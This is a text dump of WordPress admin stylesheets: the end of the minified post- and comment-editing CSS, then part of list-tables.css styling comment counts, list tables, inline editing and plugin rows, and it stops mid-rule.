li{display:inline-block}.ac_results{display:none;margin:-1px 0 0;padding:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;background-color:#fff}.wp-customizer .ac_results{z-index:500000}.ac_results li{margin:0;padding:5px 10px;white-space:nowrap;text-align:left}.ac_over .ac_match,.ac_results .ac_over{background-color:#2271b1;color:#fff;cursor:pointer}.ac_match{text-decoration:underline}#addtag .spinner{float:none;vertical-align:top}#edittag{max-width:800px}.edit-tag-actions{display:flex;align-items:center;gap:8px;margin-top:20px}.comment-php .wp-editor-area{height:200px}.comment-ays td,.comment-ays th{padding:10px 15px}.comment-ays .comment-content ul{list-style:initial;margin-left:2em}.comment-ays .comment-content a[href]:after{content:"(" attr(href) ")";display:inline-block;padding:0 4px;color:#646970;font-size:13px;word-break:break-all}.comment-ays .comment-content p.edit-comment{margin-top:10px}.comment-ays .comment-content p.edit-comment a[href]:after{content:"";padding:0}.comment-ays-submit .button-cancel{margin-left:1em}.spam-undo-inside,.trash-undo-inside{margin:1px 8px 1px 0;line-height:1.23076923}.spam-undo-inside .avatar,.trash-undo-inside .avatar{height:20px;width:20px;margin-right:8px;vertical-align:middle}.stuffbox .editcomment{clear:none;margin-top:0}#namediv.stuffbox .editcomment input{width:100%}#namediv.stuffbox .editcomment.form-table td{padding:10px}#comment-status-radio p{margin:3px 0 5px}#comment-status-radio input{margin:2px 3px 5px 0;vertical-align:middle}#comment-status-radio label{padding:5px 0}table.links-table{width:100%;border-spacing:0}.links-table th{font-weight:400;text-align:left;vertical-align:top;min-width:80px;width:20%;word-wrap:break-word}.links-table td,.links-table th{padding:5px 0}.links-table td label{margin-right:8px}.links-table td input[type=text],.links-table td textarea{width:100%}.links-table #link_rel{max-width:280px}#qt_content_dfw{display:none}.wp-editor-expand #qt_content_dfw{display:inline-block}.focus-on #screen-meta,.focus-on #screen-meta-links,.focus-on #wp-toolbar,.focus-on #wpfooter,.focus-on .page-title-action,.focus-on .postbox-container>*,.focus-on .update-nag,.focus-on .wrap>h1,.focus-on div.error,.focus-on div.notice,.focus-on div.updated{opacity:0;transition-duration:.6s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-on #wp-toolbar{opacity:.3}.focus-off #screen-meta,.focus-off #screen-meta-links,.focus-off #wp-toolbar,.focus-off #wpfooter,.focus-off .page-title-action,.focus-off .postbox-container>*,.focus-off .update-nag,.focus-off .wrap>h1,.focus-off div.error,.focus-off div.notice,.focus-off div.updated{opacity:1;transition-duration:.2s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-off #wp-toolbar{-webkit-transform:translate(0,0)}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transition-duration:.6s;transition-property:transform;transition-timing-function:ease-in-out}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transform:translateX(-100%)}.focus-off #adminmenuback,.focus-off #adminmenuwrap{transform:translateX(0);transition-duration:.2s;transition-property:transform;transition-timing-function:ease-in-out}@media print,(min-resolution:120dpi){#content-resize-handle,#post-body .wp_themeSkin .mceStatusbar a.mceResize{background:transparent url(../images/resize-2x.gif) no-repeat scroll right bottom;background-size:11px 11px}.rtl #content-resize-handle,.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize{background-image:url(../images/resize-rtl-2x.gif);background-position:left bottom}}@media only screen and (max-width:1200px){.post-type-attachment #poststuff{min-width:0}.post-type-attachment #wpbody-content #poststuff #post-body{margin:0}.post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1{margin-right:0;width:100%}.post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty,.post-type-attachment #poststuff #postbox-container-1 .empty-container{outline:0;height:0;min-height:0}.post-type-attachment #poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables{border:none;background:0 0;min-height:0;margin-bottom:0}.post-type-attachment .columns-prefs,.post-type-attachment .screen-layout{display:none}}@media only screen and (max-width:850px){#poststuff{min-width:0}#wpbody-content #poststuff #post-body{margin:0}#wpbody-content #post-body.columns-2 #postbox-container-1{margin-right:0;width:100%}#poststuff #postbox-container-1 #side-sortables:empty,#poststuff #postbox-container-1 .empty-container{height:0;min-height:0}#poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables,.is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables,.is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty,.is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container{height:auto;min-height:60px}.columns-prefs,.screen-layout{display:none}}@media screen and (max-width:782px){.wp-core-ui .edit-tag-actions .button-primary{margin-bottom:0}#post-body-content{min-width:0}#titlediv #title-prompt-text{padding:10px}#poststuff .stuffbox .inside{padding:0 2px 4px 0}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{padding:12px}#namediv.stuffbox .editcomment.form-table td{padding:5px 10px}.post-format-options{padding-right:0}.post-format-options a{margin-right:5px;margin-bottom:5px;min-width:52px}.post-format-options .post-format-title{font-size:11px}.post-format-options a div{height:28px;width:28px}.post-format-options a div:before{font-size:26px!important}#post-visibility-select{line-height:280%}.wp-core-ui .save-post-visibility,.wp-core-ui .save-timestamp{vertical-align:middle;margin-right:15px}.timestamp-wrap select#mm{display:block;width:100%;margin-bottom:10px}.timestamp-wrap #aa,.timestamp-wrap #hh,.timestamp-wrap #jj,.timestamp-wrap #mn{padding:12px 3px;font-size:14px;margin-bottom:5px;width:auto;text-align:center}ul.category-tabs{margin:30px 0 15px}ul.category-tabs li.tabs{padding:15px}ul.categorychecklist li{margin-bottom:15px}ul.categorychecklist ul{margin-top:15px}.category-add input[type=text],.category-add select{max-width:none;margin-bottom:15px}.tagsdiv .newtag{flex:1;min-width:0;height:auto;margin-bottom:0}.tagchecklist{margin:25px 10px}.tagchecklist>li{font-size:16px;line-height:1.4}#commentstatusdiv p{line-height:2.8}.mceToolbar *{white-space:normal!important}.mceToolbar td,.mceToolbar tr{float:left!important}.wp_themeSkin a.mceButton{width:30px;height:30px}.wp_themeSkin .mceButton .mceIcon{margin-top:5px;margin-left:5px}.wp_themeSkin .mceSplitButton{margin-top:1px}.wp_themeSkin .mceSplitButton td a.mceAction{padding:6px 3px 6px 6px}.wp_themeSkin .mceSplitButton td a.mceOpen,.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen{padding-top:6px;padding-bottom:6px;background-position:1px 6px}.wp_themeSkin table.mceListBox{margin:5px}div.quicktags-toolbar input{padding:10px 20px}button.wp-switch-editor{font-size:16px;line-height:1;margin:7px 0 0 7px;padding:8px 12px}#wp-content-media-buttons a{font-size:14px;padding:6px 10px}.wp-media-buttons span.jetpack-contact-form-icon,.wp-media-buttons span.wp-media-buttons-icon{width:22px!important;margin-left:-2px!important}.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before,.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font-size:20px!important}#content_wp_fullscreen{display:none}.misc-pub-section{padding:12px 10px}#delete-action,#publishing-action{line-height:3.61538461}#publishing-action .spinner{float:none;margin-top:-2px}.comment-ays td,.comment-ays th{padding-bottom:0}.comment-ays td{padding-top:6px}.links-table #link_rel{max-width:none}.links-table td,.links-table th{padding:10px 0}.edit-term-notes{display:none}.privacy-text-box{width:auto}.privacy-text-box-toc{float:none;width:auto;height:100%;display:flex;flex-direction:column}.privacy-text-section .return-to-top{margin:2em 0 0}} css/list-tables.css 0000644 00000131220 15233246127 0010275 0 ustar 00 .response-links { display: block; margin-bottom: 1em; } .response-links a { display: block; } .response-links a.comments-edit-item-link { font-weight: 600; } .response-links a.comments-view-item-link { font-size: 12px; } .post-com-count-wrapper strong { font-weight: 400; } .comments-view-item-link { display: inline-block; clear: both; } .column-response .post-com-count-wrapper, .column-comments .post-com-count-wrapper { white-space: nowrap; word-wrap: normal; } /* comments bubble common */ .column-response .post-com-count, .column-comments .post-com-count { display: inline-block; vertical-align: top; } /* comments bubble approved */ .column-response .post-com-count-no-comments, .column-response .post-com-count-approved, .column-comments .post-com-count-no-comments, .column-comments .post-com-count-approved { margin-top: 5px; } .column-response .comment-count-no-comments, .column-response .comment-count-approved, .column-comments .comment-count-no-comments, .column-comments .comment-count-approved { box-sizing: border-box; display: block; padding: 0 8px; min-width: 24px; height: 2em; border-radius: 5px; background-color: #646970; color: #fff; font-size: 11px; line-height: 1.90909090; text-align: center; } .column-response .post-com-count-no-comments:after, .column-response .post-com-count-approved:after, .column-comments .post-com-count-no-comments:after, .column-comments .post-com-count-approved:after { content: ""; display: block; margin-left: 8px; width: 0; height: 0; border-top: 5px solid #646970; border-right: 5px solid transparent; } .column-response a.post-com-count-approved:hover .comment-count-approved, .column-response a.post-com-count-approved:focus .comment-count-approved, .column-comments a.post-com-count-approved:hover .comment-count-approved, .column-comments a.post-com-count-approved:focus .comment-count-approved { background: #3858e9; } .column-response a.post-com-count-approved:hover:after, .column-response a.post-com-count-approved:focus:after, .column-comments a.post-com-count-approved:hover:after, .column-comments a.post-com-count-approved:focus:after { border-top-color: #3858e9; } /* @todo: consider to use a single rule for these counters and the admin menu counters. */ .column-response .post-com-count-pending, .column-comments .post-com-count-pending { position: relative; left: -3px; padding: 0 5px; min-width: 7px; height: 17px; border: 2px solid #fff; border-radius: 11px; background: #d63638; color: #fff; font-size: 9px; line-height: 1.88888888; text-align: center; } .column-response .post-com-count-no-pending, .column-comments .post-com-count-no-pending { display: none; } /* comments */ .commentlist li { padding: 1em 1em .2em; margin: 0; border-bottom: 1px solid #c3c4c7; } .commentlist li li { border-bottom: 0; padding: 0; } .commentlist p { padding: 0; margin: 0 0 .8em; } #submitted-on, .submitted-on { color: #50575e; } /* reply to comments */ #replyrow td { padding: 2px; } #replysubmit { margin: 0; padding: 5px 7px 10px; overflow: hidden; } #replysubmit .reply-submit-buttons { margin-bottom: 0; } #replysubmit .button { margin-right: 5px; } #replysubmit .spinner { float: none; margin: -4px 0 0; } #replyrow.inline-edit-row fieldset.comment-reply { font-size: inherit; line-height: inherit; } #replyrow legend { margin: 0; padding: .2em 5px 0; font-size: 13px; line-height: 1.4; font-weight: 600; } #replyrow.inline-edit-row label { display: inline; vertical-align: baseline; line-height: inherit; } #edithead .inside, #commentsdiv #edithead .inside { float: left; padding: 3px 0 2px 5px; margin: 0; text-align: center; } #edithead .inside input { width: 180px; } #edithead label { padding: 2px 0; } #replycontainer { padding: 5px; } #replycontent { height: 120px; box-shadow: none; } #replyerror { border-color: #dcdcde; background-color: #f6f7f7; } /* @todo: is this used? */ .commentlist .avatar { vertical-align: text-top; } #the-comment-list tr.undo, #the-comment-list div.undo { background-color: #f6f7f7; } #the-comment-list .unapproved th, #the-comment-list .unapproved td { background-color: #fcf9e8; } #the-comment-list .unapproved th.check-column { border-left: 4px solid #d63638; } #the-comment-list .unapproved th.check-column input { margin-left: 4px; } #the-comment-list .approve a { color: #007017; } #the-comment-list .unapprove a { color: #996800; } #the-comment-list th, #the-comment-list td { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } #the-comment-list tr:last-child th, #the-comment-list tr:last-child td { box-shadow: none; } #the-comment-list tr.unapproved + tr.approved th, #the-comment-list tr.unapproved + tr.approved td { border-top: 1px solid rgba(0, 0, 0, 0.03); } /* table vim shortcuts */ .vim-current, .vim-current th, .vim-current td { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08) !important; } th .comment-grey-bubble { width: 16px; /* Make sure the link clickable area fills the entire table header. */ position: relative; top: 2px; } th .comment-grey-bubble:before { content: "\f101"; content: "\f101" / ''; font: normal 20px/.5 dashicons; display: inline-block; padding: 0; top: 4px; left: -4px; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #3c434a; } /*------------------------------------------------------------------------------ 10.0 - List Posts (/Pages/etc) ------------------------------------------------------------------------------*/ table.fixed { table-layout: fixed; } .fixed .column-rating, .fixed .column-visible { width: 8%; } .fixed .column-posts, .fixed .column-parent, .fixed .column-links, .fixed .column-author, .fixed .column-format { width: 10%; } .fixed .column-date { width: 14%; } .column-date span[title] { -webkit-text-decoration: dotted underline; text-decoration: dotted underline; } .fixed .column-posts { width: 74px; } .fixed .column-role, .fixed .column-posts { hyphens: auto; } .fixed .column-comment .comment-author { display: none; } .fixed .column-response, .fixed .column-categories, .fixed .column-tags, .fixed .column-rel, .fixed .column-role { width: 15%; } .fixed .column-slug { width: 25%; } .fixed .column-locations { width: 35%; } .fixed .column-comments { width: 5.5em; text-align: left; } .fixed .column-comments .vers { padding-left: 3px; } td.column-title strong, td.plugin-title strong { display: block; margin-bottom: .2em; font-size: 14px; } td.column-title p, td.plugin-title p { margin: 6px 0; } /* Media file column */ table.media .column-title .media-icon { float: left; min-height: 60px; margin: 0 9px 0 0; } table.media .column-title .media-icon img { max-width: 60px; height: auto; vertical-align: top; /* Remove descender white-space. */ } table.media .column-title .has-media-icon ~ .row-actions { margin-left: 70px; /* 60px image + margin */ } table.media .column-title .filename { margin-bottom: 0.2em; } /* Media Copy to clipboard row action */ .media .row-actions .copy-to-clipboard-container { display: inline; position: relative; } .media .row-actions .copy-to-clipboard-container .success { position: absolute; left: 50%; transform: translate(-50%, -100%); background: #000; color: #fff; border-radius: 5px; margin: 0; padding: 2px 5px; } /* @todo: pick a consistent list table selector */ .wp-list-table a { transition: none; } #the-list tr:last-child td, #the-list tr:last-child th { border-bottom: none !important; box-shadow: none; } #comments-form .fixed .column-author { width: 20%; } #commentsdiv.postbox .inside { margin: 0; padding: 0; } #commentsdiv .inside .row-actions { line-height: 1.38461538; } #commentsdiv .inside .column-author { width: 25%; } #commentsdiv .column-comment p { margin: 0.6em 0; padding: 0; } #commentsdiv #replyrow td { padding: 0; } #commentsdiv p { padding: 8px 10px; margin: 0; } #commentsdiv .comments-box { border: 0 none; } #commentsdiv .comments-box thead th, #commentsdiv .comments-box thead td { background: transparent; padding: 0 7px 4px; } #commentsdiv .comments-box tr:last-child td { border-bottom: 0 none; } #commentsdiv #edithead .inside input { width: 160px; } .sorting-indicators { display: grid; } .sorting-indicator { display: block; width: 10px; height: 4px; margin-top: 4px; margin-left: 7px; } .sorting-indicator:before { font: normal 20px/1 dashicons; display: inline-block; padding: 0; top: -4px; left: -8px; line-height: 0.5; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #a7aaad; } .sorting-indicator.asc:before { content: "\f142"; content: "\f142" / ''; } .sorting-indicator.desc:before { content: "\f140"; content: "\f140" / ''; } th.sorted.desc .sorting-indicator.desc:before { color: #1d2327; } th.sorted.asc .sorting-indicator.asc:before { color: #1d2327; } th.sorted.asc a:focus .sorting-indicator.asc:before, th.sorted.asc:hover .sorting-indicator.asc:before, th.sorted.desc a:focus .sorting-indicator.desc:before, th.sorted.desc:hover .sorting-indicator.desc:before { color: #a7aaad; } th.sorted.asc a:focus .sorting-indicator.desc:before, th.sorted.asc:hover .sorting-indicator.desc:before, th.sorted.desc a:focus .sorting-indicator.asc:before, th.sorted.desc:hover .sorting-indicator.asc:before { color: #1d2327; } .wp-list-table .toggle-row { position: absolute; right: 8px; top: 10px; display: none; padding: 0; width: 40px; height: 40px; border: none; outline: none; background: transparent; } .wp-list-table .toggle-row:hover { cursor: pointer; } .wp-list-table .toggle-row:focus:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-list-table .toggle-row:active { box-shadow: none; } .wp-list-table .toggle-row:before { position: absolute; top: -5px; left: 10px; border-radius: 50%; display: block; padding: 1px 2px 1px 0; color: #3c434a; /* same as table headers sort arrows */ content: "\f140"; content: "\f140" / ''; font: normal 20px/1 dashicons; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-list-table .is-expanded .toggle-row:before { content: "\f142"; content: "\f142" / ''; } .check-column { position: relative; } .check-column label { box-sizing: border-box; width: 100%; height: 100%; display: block; position: absolute; top: 0; left: 0; } .check-column input { position: relative; z-index: 1; } .check-column .label-covers-full-cell:hover + input:not(:disabled) { box-shadow: 0 0 0 1px #2271b1; } .check-column label:hover, .check-column input:hover + label { background: rgba(0, 0, 0, 0.05); } .locked-indicator { display: none; margin-left: 6px; height: 20px; width: 16px; } .locked-indicator-icon:before { color: #8c8f94; content: "\f160"; content: "\f160" / ''; display: inline-block; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .locked-info { display: none; margin-top: 4px; } .locked-text { vertical-align: top; } .wp-locked .locked-indicator, .wp-locked .locked-info { display: block; } tr.wp-locked .check-column label, tr.wp-locked .check-column input[type="checkbox"], tr.wp-locked .row-actions .inline, tr.wp-locked .row-actions .trash { display: none; } #menu-locations-wrap .widefat { width: 60%; } .widefat th.sortable, .widefat th.sorted { padding: 0; } th.sortable a, th.sorted a { display: block; overflow: hidden; padding: 8px; } th.sortable a:focus, th.sorted a:focus { border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } th.sortable a span, th.sorted a span { float: left; cursor: pointer; } .tablenav-pages .current-page { vertical-align: top; margin: 0 2px 0 0; font-size: 13px; text-align: center; min-height: 32px; padding: 0 8px; } .tablenav .total-pages { margin-right: 2px; } .tablenav #table-paging { margin-left: 2px; } .tablenav { clear: both; height: 32px; margin: 6px 0 4px; vertical-align: middle; } .tablenav.themes { max-width: 98%; } .tablenav .tablenav-pages { float: right; margin: 0 0 9px; } .tablenav .no-pages, .tablenav .one-page .pagination-links { display: none; } .tablenav .tablenav-pages .button, .tablenav .tablenav-pages .tablenav-pages-navspan { display: inline-block; vertical-align: baseline; min-width: 32px; min-height: 32px; margin: 0; padding: 0 4px; font-size: 16px; line-height: 1.875; /* 30px for 32px height */ text-align: center; } .tablenav .displaying-num { margin-right: 7px; } .tablenav .one-page .displaying-num { display: inline-block; margin: 5px 0; } .tablenav .actions { padding: 0 8px 0 0; } .wp-filter .actions { display: inline-block; vertical-align: middle; } .tablenav .delete { margin-right: 20px; } /* This view-switcher is still used on multisite. */ .tablenav .view-switch { float: right; margin: 0 5px; padding-top: 3px; } .wp-filter .view-switch { display: inline-block; vertical-align: middle; padding: 12px 0; margin: 0 8px 0 2px; } .media-toolbar.wp-filter .view-switch { margin: 0 12px 0 2px; } .view-switch a { float: left; width: 28px; height: 28px; text-align: center; line-height: 1.84615384; text-decoration: none; } .view-switch a:before { color: #c3c4c7; display: inline-block; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .view-switch a:hover:before, .view-switch a:focus:before { color: #787c82; } .view-switch a.current:before { color: #2271b1; } .view-switch .view-list:before { content: "\f163"; content: "\f163" / ''; } .view-switch .view-excerpt:before { content: "\f164"; content: "\f164" / ''; } .view-switch .view-grid:before { content: "\f509"; content: "\f509" / ''; } .filter { float: left; margin: -5px 0 0 10px; } .filter .subsubsub { margin-left: -10px; margin-top: 13px; } .screen-per-page { width: 4em; } #posts-filter .wp-filter { margin-bottom: 0; } #posts-filter fieldset { float: left; margin: 0 1.5ex 1em 0; padding: 0; } #posts-filter fieldset legend { padding: 0 0 .2em 1px; } p.pagenav { margin: 0; display: inline; } .pagenav span { font-weight: 600; margin: 0 6px; } .row-title { font-size: 14px !important; font-weight: 600; } .column-comment .comment-author { margin-bottom: 0.6em; } .column-author img, .column-username img, .column-comment .comment-author img { float: left; margin-right: 10px; margin-top: 1px; } .row-actions { color: #646970; font-size: 13px; padding: 2px 0 0; position: relative; left: -9999em; } /* ticket #34150 */ .rtl .row-actions a { display: inline-block; } .row-actions .network_only, .row-actions .network_active { color: #000; } .no-js .row-actions, tr:hover .row-actions, .mobile .row-actions, .row-actions.visible, .comment-item:hover .row-actions { position: static; } /* deprecated */ .row-actions-visible { padding: 2px 0 0; } /*------------------------------------------------------------------------------ 10.1 - Inline Editing ------------------------------------------------------------------------------*/ /* .quick-edit* is for Quick Edit .bulk-edit* is for Bulk Edit .inline-edit* is for everything */ /* Layout */ #wpbody-content .inline-edit-row fieldset { float: left; margin: 0; padding: 0 12px 0 0; width: 100%; box-sizing: border-box; } #wpbody-content .inline-edit-row td fieldset:last-of-type { padding-right: 0; } tr.inline-edit-row td { padding: 0; /* Prevents the focus style on .inline-edit-wrapper from being cut-off */ position: relative; } .inline-edit-wrapper { display: flow-root; padding: 0 12px; border: 1px solid transparent; border-radius: 4px; } .inline-edit-wrapper:focus { border-color: var(--wp-admin-theme-color, #3858e9); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #wpbody-content .quick-edit-row-post .inline-edit-col-left { width: 40%; } #wpbody-content .quick-edit-row-post .inline-edit-col-right { width: 39%; } #wpbody-content .inline-edit-row-post .inline-edit-col-center { width: 20%; } #wpbody-content .quick-edit-row-page .inline-edit-col-left { width: 50%; } #wpbody-content .quick-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row-post .inline-edit-col-right { width: 50%; } #wpbody-content .bulk-edit-row .inline-edit-col-left { width: 30%; } #wpbody-content .bulk-edit-row-page .inline-edit-col-right { width: 69%; } #wpbody-content .bulk-edit-row .inline-edit-col-bottom { float: right; width: 69%; } #wpbody-content .inline-edit-row-page .inline-edit-col-right { margin-top: 27px; } .inline-edit-row fieldset .inline-edit-group { clear: both; line-height: 2.5; } .inline-edit-row .submit { display: flex; flex-wrap: wrap; align-items: center; clear: both; margin: 0; padding: 0.5em 0 1em; } .inline-edit-save.submit .button { margin-right: 8px; } .inline-edit-save .spinner { float: none; margin: 0; } .inline-edit-row .notice-error { box-sizing: border-box; min-width: 100%; margin-top: 1em; } .inline-edit-row .notice-error .error { margin: 0.5em 0; padding: 2px; } /* Positioning */ /* Needs higher specificity for the padding */ #the-list .inline-edit-row .inline-edit-legend { margin: 0; padding: 0.2em 0; line-height: 2.5; font-weight: 600; } .inline-edit-row fieldset span.title, .inline-edit-row fieldset span.checkbox-title { margin: 0; padding: 0; } .inline-edit-row fieldset label, .inline-edit-row fieldset span.inline-edit-categories-label { display: block; margin: .2em 0; line-height: 2.5; } .inline-edit-row fieldset.inline-edit-date label { display: inline-block; margin: 0; vertical-align: baseline; line-height: 2; } .inline-edit-row fieldset label.inline-edit-tags { margin-top: 0; } .inline-edit-row fieldset label.inline-edit-tags span.title { margin: .2em 0; width: auto; } .inline-edit-row fieldset label span.title, .inline-edit-row fieldset.inline-edit-date legend { display: block; float: left; width: 6em; line-height: 2.5; } #posts-filter fieldset.inline-edit-date legend { padding: 0; } .inline-edit-row fieldset label span.input-text-wrap, .inline-edit-row fieldset .timestamp-wrap { display: block; margin-left: 6em; } .quick-edit-row-post fieldset.inline-edit-col-right label span.title { width: auto; padding-right: 0.5em; } .inline-edit-row .inline-edit-or { margin: .2em 6px .2em 0; line-height: 2.5; } .inline-edit-row .input-text-wrap input[type=text] { width: 100%; } .inline-edit-row fieldset label input[type=checkbox] { vertical-align: middle; } .inline-edit-row fieldset label textarea { width: 100%; height: 4em; vertical-align: top; } .inline-edit-row select, .inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])) { min-height: 32px; padding: 0 8px 0 8px; } .inline-edit-row select { line-height: 2.14285714; /* 30px for 32px height with 14px font */ padding-right: 24px; } #wpbody-content .bulk-edit-row fieldset .inline-edit-group label { max-width: 50%; } #wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child { margin-right: 0.5em } .inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input { width: 6em; } /* Styling */ .inline-edit-row .inline-edit-legend { text-transform: uppercase; } /* Specific Elements */ .inline-edit-row fieldset .inline-edit-date { float: left; } .inline-edit-row fieldset input[name=jj], .inline-edit-row fieldset input[name=hh], .inline-edit-row fieldset input[name=mn], .inline-edit-row fieldset input[name=aa] { vertical-align: middle; text-align: center; padding: 0 4px; } .inline-edit-row fieldset label input.inline-edit-password-input { width: 8em; } #bulk-titles-list, #bulk-titles-list li, .inline-edit-row fieldset ul.cat-checklist li, .inline-edit-row fieldset ul.cat-checklist input { margin: 0; position: relative; /* RTL fix, #WP27629 */ } .inline-edit-row fieldset ul.cat-checklist input { margin-top: -1px; margin-left: 3px; } .inline-edit-row fieldset label input.inline-edit-menu-order-input { width: 3em; } .inline-edit-row fieldset label input.inline-edit-slug-input { width: 75%; } .inline-edit-row select[name="post_parent"], .inline-edit-row select[name="page_template"] { max-width: 80%; } .quick-edit-row-post fieldset label.inline-edit-status { float: left; } #bulk-titles, ul.cat-checklist { height: 14em; border: 1px solid #ddd; margin: 0 0 5px; padding: 0.2em 5px; overflow-y: scroll; } ul.cat-checklist input[name="post_category[]"]:indeterminate::before { content: ''; border-top: 2px solid grey; width: 65%; height: 2px; position: absolute; top: calc( 50% + 1px ); left: 50%; transform: translate( -50%, -50% ); } #bulk-titles .ntdelbutton, #bulk-titles .ntdeltitle, .inline-edit-row fieldset ul.cat-checklist label { display: inline-block; margin: 0; padding: 3px 0; line-height: 20px; vertical-align: top; } #bulk-titles .ntdelitem { padding-left: 23px; } #bulk-titles .ntdelbutton { width: 26px; height: 26px; margin: 0 0 0 -26px; text-align: center; border-radius: 3px; } #bulk-titles .ntdelbutton:before { display: inline-block; vertical-align: top; } #bulk-titles .ntdelbutton:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /*------------------------------------------------------------------------------ 17.0 - Plugins ------------------------------------------------------------------------------*/ .plugins tbody th.check-column, .plugins tbody { padding: 8px 0 0 2px; } .plugins tbody th.check-column input[type=checkbox] { margin-top: 4px; } .updates-table .plugin-title p { margin-top: 0; } .plugins thead td.check-column, .plugins tfoot td.check-column, .plugins .inactive th.check-column { padding-left: 6px; } .plugins, .plugins th, .plugins td { color: #000; } .plugins tr { background: #fff; } .plugins p { margin: 0 4px; padding: 0; } .plugins .desc p { margin: 0 0 8px; } .plugins td.desc { line-height: 1.5; } .plugins .desc ul, .plugins .desc ol { margin: 0 0 0 2em; } .plugins .desc ul { list-style-type: disc; } .plugins .row-actions { font-size: 13px; padding: 0; } .plugins .inactive td, .plugins .inactive th, .plugins .active td, .plugins .active th { padding: 10px 9px; } .plugins .active td, .plugins .active th { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .plugins .update th, .plugins .update td { border-bottom: 0; } .plugins .inactive td, .plugins .inactive th, .plugins .active td, .plugins .active th, .plugin-install #the-list td, .upgrade .plugins td, .upgrade .plugins th { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugins tr.active.plugin-update-tr + tr.inactive th, .plugins tr.active.plugin-update-tr + tr.inactive td, .plugins tr.active + tr.inactive th, .plugins tr.active + tr.inactive td { border-top: 1px solid rgba(0, 0, 0, 0.03); box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.02), inset 0 -1px 0 #dcdcde; } .plugins .update td, .plugins .update th, .upgrade .plugins tr:last-of-type td, .upgrade .plugins tr:last-of-type th, .plugins tr.active + tr.inactive.update th, .plugins tr.active + tr.inactive.update td, .plugins .updated td, .plugins .updated th, .plugins tr.active + tr.inactive.updated th, .plugins tr.active + tr.inactive.updated td { box-shadow: none; } .plugins .active th.check-column, .plugin-update-tr.active td { border-left: 4px solid var(--wp-admin-theme-color); } .wp-list-table.plugins .plugin-title, .wp-list-table.plugins .theme-title { padding-right: 12px; white-space: nowrap; } .plugins .plugin-title .dashicons, .plugins .plugin-title img.plugin-icon, .plugins .plugin-title img.updates-table-screenshot { float: left; padding: 0 10px 0 0; width: 64px; height: 64px; } .plugins .plugin-title .dashicons:before { padding: 2px; background-color: #f0f0f1; box-shadow: inset 0 0 10px rgba(167, 170, 173, 0.15); font-size: 60px; color: #c3c4c7; } #update-themes-table .plugin-title img.updates-table-screenshot, #update-themes-table .plugin-title .dashicons { width: 85px; } .plugins .column-auto-updates { width: 14.2em; } .plugins .inactive .plugin-title strong { font-weight: 400; } .plugins .second, .plugins .row-actions { padding: 0 0 5px; } .plugins .row-actions { white-space: normal; min-width: 12em; } .plugins .update .second, .plugins .update .row-actions, .plugins .updated .second, .plugins .updated .row-actions { padding-bottom: 0; } .plugins-php .widefat tfoot th, .plugins-php .widefat tfoot td { border-top-style: solid; border-top-width: 1px; } .plugins .plugin-update-tr .plugin-update { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); overflow: hidden; /* clearfix */ padding: 0; } .plugins .plugin-update-tr .notice, .plugins .plugin-update-tr div[class="update-message"] { /* back-compat for pre-4.6 */ margin: 5px 20px 15px 40px; } .plugins .notice p { margin: 0.5em 0; } .plugins .plugin-description a, .plugins .plugin-update a, .updates-table .plugin-title a { text-decoration: underline; } .plugins tr.paused th.check-column { border-left: 4px solid #b32d2e; } .plugins tr.paused th, .plugins tr.paused td { background-color: #f6f7f7; } .plugins tr.paused .plugin-title, .plugins .paused .dashicons-warning { color: #b32d2e; } .plugins .paused .error-display p, .plugins .paused .error-display code { font-size: 90%; color: rgba(0, 0, 0, 0.7); } .plugins .resume-link { color: #b32d2e; } .plugin-card .update-now:before { color: #d63638; content: "\f463"; content: "\f463" / ''; display: inline-block; font: normal 16px/1.875 dashicons; /* line-height 1.875 = 30px to match button */ 